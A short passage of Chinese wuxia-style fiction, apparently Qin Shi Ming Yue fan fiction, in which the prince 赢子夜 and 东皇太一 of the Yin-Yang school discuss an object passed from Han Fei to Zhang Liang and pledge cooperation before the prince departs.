“据阴阳家多年探寻,当年韩非入秦前,极有可能将其交给了他最信任的师弟,张良。”
“此物,十之**,仍在张良手中。”
“与本公子所想,不谋而合。”
赢子夜嘴角勾起一抹冷冽的弧度。
“小圣贤庄,儒家三当家……本公子已布下暗眼,只待他露出破绽。”
“阴阳家在桑海亦有些许人手。”
东皇太一道。
“公子若有需,尽可调度。”
“苍龙七宿之事,乃阴阳家与陛下共同之所愿,阴阳家必当竭力!”
这便是明确的站队与承诺了。
赢子夜深深看了东皇太一一眼,似乎想穿透那层面具,看清其后真正的意图。
最终,他只是颔首。
“本公子明白了。”
“若有需,自会告知。”
说完,他不再多言,转身拂袖,玄衣身影一步步融入幽暗的廊道之中。
唯有脚步声渐行渐远,最终彻底消失。
密室重归寂静,只余下漫天星辰依旧缓缓流转,映照着东皇太一那亘古不变般的神秘身影。
他缓缓抬起手。
一枚幽暗的棋子虚影在指尖凝聚,又悄然湮灭于星光之下。